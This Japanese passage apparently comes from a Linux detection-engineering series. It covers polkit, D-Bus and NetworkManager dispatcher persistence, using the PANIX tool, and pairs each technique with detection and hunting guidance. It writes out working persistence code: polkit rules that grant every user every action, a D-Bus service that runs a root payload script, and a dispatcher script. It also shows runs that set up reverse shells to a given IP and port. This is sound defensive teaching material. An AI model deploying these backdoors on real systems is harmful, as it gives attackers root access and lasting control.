    return polkit.Result.NOT_HANDLED;
});

このルールでは、

  • アクションorg.freedesktop.systemd1.manage-unitssystemdサービスの管理)は、servicemanagersグループのユーザーに付与されています。
  • 他のアクションはデフォルトの処理に戻ります。

この構造により、管理者はカスタムポリシーを実装できますが、攻撃者が過度に寛容なルールを挿入して不正な特権を得る可能性もあります。

現在、PolkitにはMITRE ATT&CKフレームワークに専用の技術がありません。これに最も近い技術は、T1543: システムプロセスの作成または変更です。これは攻撃者がシステムレベルのプロセスを変更して永続化や権限昇格を達成する方法を説明しています。

次のセクションでは、攻撃者が悪意のあるPolkitルールと認証ファイルを作成して展開する方法を段階的に探り、検出と緩和の戦略についても議論します。

T1543を介した永続化 - システムプロセスの作成または修正: PolicyKit

では、理論を理解したところで、setup_polkit.sh PANIX モジュールを使って、これを実際にシミュレートする方法を見てみましょう。まず、モジュールはpkaction --versionコマンドを使用してアクティブなPolkitバージョンを確認します。バージョン0.106未満は古い.pklaファイルを使用し、バージョン0.106以上は新しい.rulesファイルを使用します。バージョンによっては、モジュールは過度に寛容なPolkitポリシーを作成し続けます。バージョン0.106未満の場合、/etc/polkit-1/localauthority/50-local.d/.pklaファイルが作成されます。

mkdir -p /etc/polkit-1/localauthority/50-local.d/

# Write the .pkla file
cat <<-EOF > /etc/polkit-1/localauthority/50-local.d/panix.pkla
[Allow Everything]
Identity=unix-user:*
Action=*
ResultAny=yes
ResultInactive=yes
ResultActive=yes
EOF

Identity=unix-user:*およびAction=*パラメーターを通じて、任意のunix-userが任意のアクションを実行できるようにします。

バージョン0.106以上の場合、.rulesファイルが/etc/polkit-1/rules.d/に作成されます。

mkdir -p /etc/polkit-1/rules.d/

# Write the .rules file
cat <<-EOF > /etc/polkit-1/rules.d/99-panix.rules
polkit.addRule(function(action, subject) {
	return polkit.Result.YES;
});
EOF

ポリシーが過度に寛容である場合、常にpolkit.Result.YESを返します。これは、Polkitの認証を必要とするすべてのアクションが誰にでも許可されることを意味します。

Polkitルールは辞書学的 (ASCII) 順序で処理されます。つまり、番号が小さいファイルが最初に読み込まれ、後のルールが前のルールを上書きすることができます。2つのルールが同じポリシーを変更する場合、番号が大きいルールが最後に評価されるため、優先されます。ルールが実行され、他のルールを上書きすることを確実にするために、PANIXは 99 で始まるファイル名で作成します(例:99-panix.rules)。

次のコマンドライン引数を使用してPANIX モジュールを実行します。

> sudo ./panix.sh --polkit

[!] Polkit version < 0.106 detected. Setting up persistence using .pkla files.
[+] Persistence established via .pkla file.
[+] Polkit service restarted.
[!] Run pkexec su - to test the persistence.

次に、Kibanaでログを確認します。

PANIXの実行時に、.pkla または .rules ファイルアプローチが必要かどうかを判断するために pkaction --version コマンドが発行されていることが確認できます。これが判断されると正しいポリシーが作成され、polkitサービスが再起動されます(ただし、これは必須ではありません)。これらのポリシーが適用されると、1000user.Ext.real.id を持つユーザー (rootではない) は、pkexec su - コマンドを実行してroot権限を取得できます。

それでは、検出の機会を見てみましょう。

Polkitの永続化に対応する検出およびエンドポイントルール

変更を元に戻すには、対応するリバートモジュールを以下を実行します。

> ./panix.sh --revert polkit

[+] Checking for .pkla persistence file...
[+] Removed file: /etc/polkit-1/localauthority/50-local.d/panix.pkla
[+] Checking for .rules persistence file...
[-] .rules file not found: /etc/polkit-1/rules.d/99-panix.rules
[+] Restarting polkit service...
[+] Polkit service restarted successfully.

T1543のハンティング - システムプロセスの作成または修正: PolicyKit

ES|QL と OSQuery を使用して、PolicyKit 構成ファイルとルールの変更に関連する疑わしいアクティビティに焦点を当てることで、この手法を追跡することができます。このアプローチには、次の項目を探すことが含まれます。

  1. PolicyKit設定ファイルの作成および/または変更:カスタムおよびシステム全体のルール、アクションの説明、権限付与ルールを含む重要なディレクトリの変更を追跡します。これらのパスを監視することで、悪意のある活動を示す可能性のある不正な追加や改ざんを特定することができます。
  2. PolicyKitファイルのメタデータ解析: PolicyKit関連ファイルの所有者、アクセス時間、変更タイムスタンプを検査します。許可されていない変更や予期しない所有権を持つファイルは、PolicyKitを通じて権限を維持または昇格しようとする試みを示す可能性があります。
  3. 希少または異常なイベントの検出: プロセスの実行とファイルアクティビティの相関を分析することで、希少なファイルの変更または作成イベントを特定します。これは、侵害の微妙な兆候を表面化するのに役立ちます。

PolicyKitによる永続化のハンティングルールと、上記のカスタマイズされた検出クエリを組み合わせることで、アナリストはT1543を効果的に特定し、対応することができます。

T1543 - システムプロセスの作成または修正: D-Bus

D-Bus(Desktop Bus)は、Linuxおよび他のUnix系オペレーティングシステムで広く使用されている プロセス間通信(IPC)システムです。これは構造化されたメッセージバスとして機能し、プロセス、システムサービス、アプリケーションが通信し、アクションを調整することを可能にします。現代のLinux環境における基盤として、D-Busはシステム全体およびユーザー固有の通信向けのレームワークを提供します。

D-Busは、プロセス間の相互作用を促進するために、メッセージの送受信を行う標準化されたメカニズムを提供し、カスタムIPCソリューションの必要性を排除しつつ、効率とセキュリティを向上させます。これは、以下の2つの主要なコミュニケーションチャネルを通じて動作します。

  • システムバス: システムレベルのサービスと特権操作間の通信に使用され、ハードウェアやネットワーク構成の管理に役立ちます。
  • セッションバス: デスクトップ通知やメディアプレーヤーなどのユーザーレベルのアプリケーション間で通信するために使用されます。

D-Busデーモンはメッセージバスを管理し、メッセージがプロセス間で安全にルーティングされるように管理します。プロセスは一意の名前で自身をバスに登録し、他のプロセスが相互作用できるメソッド、シグナル、プロパティを含むインターフェースを提供します。D-Bus通信のコアコンポーネントは次のように示されます。

インターフェース:

  • サービスが提供するメソッド、シグナル、プロパティの集合を定義します。
  • 例: org.freedesktop.NetworkManagerはネットワーク接続を管理するためのメソッドを提供します。

メソッド:

  • 外部プロセスが特定のアクションを実行したり、情報を要求したりできるようにします。
  • 例: メソッドorg.freedesktop.NetworkManager.Reloadを呼び出してネットワークサービスを再読み込みすることができます。

シグナル:

  • サービスが他のプロセスにイベントを通知するために送信する通知。
  • 例: 信号がネットワーク接続状態の変化を示すことがあります。

例として、次のコマンドはシステムバスにメッセージを送信し、NetworkManagerサービスでReloadメソッドを呼び出します。

dbus-send --system --dest=org.freedesktop.NetworkManager /org/freedesktop/NetworkManager org.freedesktop.NetworkManager.Reload uint32:0

D-Busサービスは、機能を提供するためにバスに登録されるアプリケーションまたはデーモンです。リクエストされたサービスが実行されていない場合、D-Busデーモンは事前定義されたサービスファイルを使用して自動的にそれを起動できます。

これらのサービスは、.service拡張子のサービスファイルを使用して、D-Busにサービスの起動方法を指示します。例:

[D-BUS Service]
Name=org.freedesktop.MyService
Exec=/usr/bin/my-service
User=root

D-Busサービスファイルは、これらのサービスがシステム全体で実行されているか、ユーザーレベルで実行されているか、またアーキテクチャやLinuxディストリビューションに応じて、複数の異なる場所に配置される可能性があります。以下は使用される場所の概要ですが、ディストリビューションによってデフォルトの場所が異なるため、完全なリストではありません。

  1. システム全体の構成とサービス:
    • システムサービスファイル:
      • /usr/share/dbus-1/system-services/
      • /usr/local/share/dbus-1/system-services/
    • システムポリシーファイル:
      • /etc/dbus-1/system.d/
      • /usr/share/dbus-1/system.d/
    • システム構成ファイル:
      • /etc/dbus-1/system.conf
      • /usr/share/dbus-1/system.conf
  2. セッション全体の構成とサービス:
    • セッションサービスファイル:
      • /usr/share/dbus-1/session-services/
      • ~/.local/share/dbus-1/services/
    • セッションポリシーファイル:
      • /etc/dbus-1/session.d/
      • /usr/share/dbus-1/session.d/
    • セッション構成ファイル:
      • /etc/dbus-1/session.conf
      • /usr/share/dbus-1/session.conf

各パスの詳細はこちらでご確認ください。XMLで記述されたD-Busポリシーは、D-Bus サービスのアクセス制御ルールを定義します。これらのポリシーは、メッセージの送信、対応の受信、特定のサービスの所有などのアクションを実行できるユーザーを指定します。特権操作へのアクセスを制御し、サービスが悪用されないようにするために、これらは不可欠です。D-Busポリシーには、いくつかの重要なコンポーネントがあります。

  1. コンテキスト:
  • ポリシーは特定のユーザー、グループ、またはデフォルトのコンテキストに適用できます(オーバーライドされない限り、defaultはすべてのユーザーに適用されます)。
  1. 許可/拒否ルール:
  • ルールは、メソッド、インターフェース、またはサービスへのアクセスを明示的に許可 (allow) または制限 (deny) します。
  1. データ粒度:
  • ポリシーは、複数のレベルでアクセスを管理できます。
    • サービス全体(例: org.freedesktop.MyService)。
    • 特定のメソッドまたはインターフェース(例: org.freedesktop.MyService.SecretMethod)。

次の例は、明確なアクセス制限を強制するD-Busポリシーを示しています。

<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-Bus Bus Configuration 1.0//EN"
  "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
    <!-- Default policy: Deny all access -->
    <policy context="default">
        <deny send_destination="org.freedesktop.MyService"/>
    </policy>

    <!-- Allow only users in the "admin" group to access specific methods -->
    <policy group="admin">
        <allow send_interface="org.freedesktop.MyService.PublicMethod"/>
    </policy>

    <!-- Allow root to access all methods -->
    <policy user="root">
        <allow send_destination="org.freedesktop.MyService"/>
    </policy>
</busconfig>

このポリシー:

  1. デフォルトで、サービスorg.freedesktop.MyServiceへのすべてのアクセスを拒否します。
  2. adminグループのユーザーに特定のインターフェース (org.freedesktop.MyService.PublicMethod) へのアクセスを許可します。
  3. root ユーザーにorg.freedesktop.MyService先への完全アクセスを許可します。

IPCにおけるD-Busの中心的な役割は、攻撃者にとって興味深いターゲットとなる可能性があります。考えられる攻撃ベクトルには以下のものがあります。

  1. 悪意のあるサービスの乗っ取りまたは登録:
    • 攻撃者は、.serviceファイルを置き換えたり追加したりして(例:/usr/share/dbus-1/system-services/)正当な通信を乗っ取ったり、悪意のあるコードを注入したりできます。
  2. 過度に寛容なポリシーの作成または悪用:
    • 脆弱なポリシー(すべてのユーザーに重要なサービスへのユーザーアクセスを許可するなど)により、攻撃者は特権メソッドを呼び出すことが可能になります。
  3. 脆弱なサービスの悪用:
    • D-Busサービスがインプットを不適切に検証した場合、攻撃者が任意のコードを実行したり、不正な操作を行ったりする可能性があります。

上記の例は、特権昇格、防御回避、持続性に使用できます。現在、D-Bus向けの特定のMITRE ATT&CKサブテクニックはありません。しかし、その悪用はT1543: システムプロセスの作成または変更、および.serviceファイルが変更された場合のT1574: 実行フローのハイジャックと密接に関連しています。

次のセクションでは、攻撃者がルート権限で逆接続を送信するような、過度に寛容なD-Bus構成を設定する方法についてと、この動作を検出するためのアプローチについて議論します。

T1543を介した永続化 - システムプロセスの作成または修正: D-Bus

D-Busの設定についてすべて学んだところで、次はsetup_dbus.sh PANIX モジュールを使って、これを実際にシミュレートする方法を見てみましょう。PANIXは、まず、/usr/share/dbus-1/system-services/org.panix.persistence.service に次の内容のD-Busサービスファイルを作成します。

cat <<'EOF' > "$service_file"
[D-BUS Service]
Name=org.panix.persistence
Exec=/usr/local/bin/dbus-panix.sh
User=root
EOF

このサービスファイルはorg.panix.persistenceインターフェースをリッスンし、/usr/local/bin/dbus-panix.sh「サービス」を実行します。dbus-panix.shスクリプトは、呼び出されるとリバースシェル接続を単純に開始します。

cat <<EOF > "$payload_script"
#!/bin/bash
# When D-Bus triggers this service, execute payload.
${payload}
EOF

インターフェースに対応するアクションをすべてのユーザーが呼び出せるようにするために、PANIXは次の内容の/etc/dbus-1/system.d/org.panix.persistence.confファイルを設定します。

cat <<'EOF' > "$conf_file"
<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-Bus Bus Configuration 1.0//EN"
	"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
	<!-- Allow any user to own, send to, and access the specified service -->
	<policy context="default">
		<allow own="org.panix.persistence"/>
		<allow send_destination="org.panix.persistence"/>
		<allow send_interface="org.panix.persistence"/>
	</policy>
</busconfig>
EOF

この構成は、任意のユーザーまたはプロセスがorg.panix.persistenceサービスを所有し、メッセージを送信し、対話することを許可するD-Busポリシーを定義し、実質的に無制限のアクセスを提供します。dbusサービスを再起動した後、セットアップが完了します。

サービスと対話するには、以下のコマンドを使用できます。

dbus-send --system --type=method_call /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method

このコマンドは、org.panix.persistenceサービスをターゲットにして、D-Busシステムバスにメソッド呼び出しを送り、/org/panix/persistenceオブジェクトのorg.panix.persistence.Methodメソッドを呼び出し、バックドアを効果的にトリガーします。

次のコマンドライン引数を使用してPANIX モジュールを実行します。

> sudo ./panix.sh --dbus --default --ip 192.168.1.100 --port 2016

[+] Created/updated D-Bus service file: /usr/share/dbus-1/system-services/org.panix.persistence.service
[+] Created/updated payload script: /usr/local/bin/dbus-panix.sh
[+] Created/updated D-Bus config file: /etc/dbus-1/system.d/org.panix.persistence.conf
[!] Restarting D-Bus...
[+] D-Bus restarted successfully.
[+] D-Bus persistence module completed. Test with:

dbus-send --system --type=method_call --print-reply /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method

dbus-sendコマンドの実行時に:

dbus-send --system --type=method_call --print-reply /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method

Kibanaのドキュメントを確認します。

PANIXを実行すると、org.panix.persistence.servicedbus-panix.shorg.panix.persistence.confファイルが作成され、ステージが正常に設定されます。その後、dbusサービスが再起動され、dbus-sendコマンドが実行されてorg.panix.persistenceサービスと対話します。org.panix.persistence.Methodメソッドが呼び出されると、dbus-panix.shバックドアが実行され、逆シェル接続チェーン(dbus-panix.shnohupsetsidbash)が開始されます。

それでは、検出の機会を見てみましょう。

D-Busの永続化に対応する検出とエンドポイントルール

変更を元に戻すには、対応するリバートモジュールを以下を実行します。

> ./panix.sh --revert dbus

[*] Reverting D-Bus persistence module...
[+] Removing D-Bus service file: /usr/share/dbus-1/system-services/org.panix.persistence.service...
[+] D-Bus service file removed.
[+] Removing payload script: /usr/local/bin/dbus-panix.sh
[+] Payload script removed.
[+] Removing D-Bus configuration file: /etc/dbus-1/system.d/org.panix.persistence.conf...
[+] D-Bus configuration file removed.
[*] Restarting D-Bus...
[+] D-Bus restarted successfully.
[+] D-Bus persistence reverted.

T1543のハンティング - システムプロセスの作成または修正: D-Bus

ES|QL と OSQuery を使用して、D-Bus 関連のファイル、サービス、プロセスの使用と変更に関連する疑わしい活動に焦点を当てることで、この手法を特定することができます。このアプローチには、次の項目の監視が含まれます。

  1. D-Bus構成とサービスファイルの作成や変更: システム全体やセッションのサービスファイル、ポリシーファイルなど、重要なディレクトリでの変更を追跡します。これらのパスを監視することは、D-Busを標的とする悪意のあるアクティビティを示す可能性のある不正な追加や変更を検出するのに役立ちます。
  2. D-Bus ファイルのメタデータ解析:D-Bus設定ファイルの所有者、最終アクセス時間、変更タイムスタンプを検査します。これにより、不正な変更や、D-Bus を介して持続しようとする試みを示す可能性のある予期しないファイルの存在が明らかになることがあります。
  3. 疑わしいプロセスの検出: dbus-daemondbus-sendなど、D-Bus通信の主要コンポーネントであるプロセスの実行を監視します。コマンドライン、親プロセス、実行回数を追跡することで、異常または不正な使用を特定することができます。
  4. 希少または異常なイベントの検出: エンドポイント間のイベントデータを相関させることで、希少なファイル変更やプロセス実行を特定します。これは、重要なD-Bus構成への希少な変更や、D-Busコマンドの予期しない使用など、侵害の微妙な兆候をあらわにします。

Desktop Bus (D-Bus) を介した永続化のハンティングルールと上記のカスタマイズされた検出クエリを組み合わせることで、アナリストはT1543を効果的に特定し、対応することができます。

T1546 - イベントトリガーの実行: NetworkManager

NetworkManagerは、Linuxシステム上のネットワーク接続を管理するために広く使用されているデーモンです。モジュール式で拡張可能な設計を提供しつつ、有線、無線、VPN、その他のネットワークインターフェースを構成することができます。あまり知られていませんが、ディスパッチャー機能という協力な機能があり、これはネットワークイベントに応じてスクリプトを自動的に実行する方法を提供します。特定のネットワークイベントが発生した場合(例: インターフェースが起動または停止した場合)、NetworkManagerはこのディレクトリ内のスクリプトを呼び出します。これらのスクリプトはrootとして実行されるため、非常に高い権限を持ちます。

  • イベントタイプ: NetworkManagerは、特定のイベントをスクリプトに渡します。例えば:
    • up:インターフェースが有効化されました。
    • down: インターフェースが無効化されました。
    • vpn-up:VPN接続が確立されました。
    • vpn-down:VPN接続が切断されました。

/etc/NetworkManager/dispatcher.d/に配置されたスクリプトは標準のシェルスクリプトであり、実行可能としてマークする必要があります。ディスパッチャースクリプトの例は次のようになります。

#!/bin/bash
INTERFACE=$1
EVENT=$2

if [ "$EVENT" == "up" ]; then
    logger "Interface $INTERFACE is up. Executing custom script."
    # Perform actions, such as logging, mounting, or starting services
    /usr/bin/some-command --arg value
elif [ "$EVENT" == "down" ]; then
    logger "Interface $INTERFACE is down. Cleaning up."
    # Perform cleanup actions
fi

ネットワークインターフェースが起動または停止するたびに、イベントを記録し、コマンドを実行します。

この手法で永続化を達成するために、攻撃者は次のいずれかを行うことができます。

  • カスタムスクリプトを作成し、実行可能としてマークし、ディスパッチャディレクトリ内に配置する
  • 特定のネットワークイベントが発生した際にペイロードを実行するために、正当なディスパッチャースクリプトを変更する

dispatcher.d/を介した永続化は、MITRE ATT&CKフレームワークのT1546: イベントトリガー実行およびT1543: システムプロセスの作成または変更と一致します。ただし、NetworkManagerのディスパッチャースクリプトには独自のサブテクニックはありません。

次のセクションでは、永続化のためにディスパッチャースクリプトが悪用される方法について探り、効果的な検出設計をサポートするためのプロセスの流れを視覚化します。

T1546を介した永続化 - イベントトリガーの実行:

この技術の概念は非常にシンプルですので、setup_network_manager.sh PANIXモジュールを通じて実践してみましょう。このモジュールは、この技術が機能するための必須条件であるNetworkManagerパッケージが利用可能かどうか、そして/etc/NetworkManager/dispatcher.d/パスが存在するかどうかを確認します。次に、/etc/NetworkManager/dispatcher.d/panix-dispatcher.shの下に新しいディスパッチャーファイルを作成し、末尾にペイロードを追加します。最後に、ディスパッチャーファイルに実行権限を付与し、その後、有効化の準備が整います。

cat <<'EOF' > "$dispatcher_file"
#!/bin/sh -e

if [ "$2" = "connectivity-change" ]; then
	exit 0
fi

if [ -z "$1" ]; then
	echo "$0: called with no interface" 1>&2
	exit 1
fi

[...]

# Insert payload here:
__PAYLOAD_PLACEHOLDER__
EOF

chmod +x "$dispatcher_file"

ここでは、上記のモジュールの最も関連性の高いスニペットのみを含めました。さらに探りたい場合は、モジュールのソースコードを自由にご確認ください。

次のコマンドライン引数を使用してPANIX モジュールを実行します。

> sudo ./panix.sh --network-manager --default --ip 192.168.1.100 --port 2017

[+] Created new dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh
[+] Replaced payload placeholder with actual payload.
[+] Using dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh

これで、新しいネットワークイベントがトリガーされるたびに、ペイロードが実行されます。これは、NetworkManagerサービスの再起動、インターフェースの再起動、またはシステムの再起動によって実行できます。Kibanaのドキュメントを見てみましょう。

PANIXを実行すると、panix-dispatcher.shスクリプトが作成され、実行可能としてマークされ、sedを使用してスクリプトの末尾にペイロードが追加されます。systemctlを通じてNetworkManagerサービスを再起動すると、nm-dispatcherpanix-dispatcher.shスクリプトを実行し、逆シェルチェーン(panix-dispatcher.shnohupsetsidbash)を効果的に起動するのが確認できます。

そして最後に、検出の機会を確認しましょう。

NetworkManagerの永続化に対応する検出およびエンドポイントルール

変更を元に戻すには、対応するリバートモジュールを以下を実行します。

> ./panix.sh --revert network-manager

[+] Checking for payload in /etc/NetworkManager/dispatcher.d/01-ifupdown...
[+] No payload found in /etc/NetworkManager/dispatcher.d/01-ifupdown.
[+] Removing custom dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh...
[+] Custom dispatcher file removed.
[+] NetworkManager persistence reverted.

T1546のハンティング - イベントトリガーの実行: NetworkManager

ES|QLとOSQueryを使用して、NetworkManager Dispatcherスクリプトの作成、変更、実行に関連する疑わしいアクティビティに焦点を当てることで、この手法を追跡できます。このアプローチには、次の項目の監視が含まれます。

  1. ディスパッチャースクリプトの作成および/または変更: /etc/NetworkManager/dispatcher.d/ ディレクトリ内の変更を追跡します。新規または変更されたスクリプトを監視することにより、不正な追加や変更を検出し、それが悪意のある意図を示す可能性があることを確認できます。
  2. 疑わしいプロセスの検出: nm-dispatcherによって実行されるプロセスまたは/etc/NetworkManager/dispatcher.d/にあるスクリプトを監視します。コマンドライン、親プロセス、実行回数を分析することにより、異常または不正なスクリプトの実行を特定できます。
  3. ディスパッチャースクリプトのメタデータ解析/etc/NetworkManager/dispatcher.d/ にあるファイルの所有権、最終アクセス時間、変更タイムスタンプを検査します。これにより、永続化の試みを示唆するファイル属性の不正な変更や異常が明らかになります。

NetworkManager Dispatcherスクリプトを介した永続化のハンティングルールと、上記のカスタマイズされた検出クエリを組み合わせることで、アナリストはT1546を効果的に特定し、対応することができます。

まとめ

「Linux検出エンジニアリング」シリーズの第5章および最終章では、Linuxのブートプロセス、認証システム、プロセス間通信、コアユーティリティに根ざした永続化メカニズムに焦点を置きました。この記事では、GRUBベースの永続化とinitramfsの操作から始め、手動アプローチとDracutを使用した自動化手法の両方を網羅しました。さらに、Polkitベースの永続化を調査し、D-Busの悪用についても詳しく調べました。最後はNetworkManager Dispatcherスクリプトを使用して、永続化シナリオの悪用の可能性を強調しました。

このシリーズ全体を通じて、PANIXはこれらの技術を実演およびシミュレーションする上で重要な役割を果たし、貴社の検出能力をテストし、防御を強化するのを可能にしました。カスタマイズされたES|QLおよびOSQueryクエリと組み合わせることで、これらのツールを使用して、最も高度な持続性メカニズムを効果的に識別し、対応することができます。

このシリーズを締めくくるにあたり、皆様が自信を持って Linux の持続的な脅威に立ち向かう力を得られることを願っております。実用的な知識、実行可能な戦略、実践的な経験を身に付けていれば、Linux 環境を標的とする敵から身を守る準備が整っています。ご参加いただきありがとうございます。そして、いつものように、警戒を怠らず、楽しいハンティングをお楽しみください!

この記事を共有する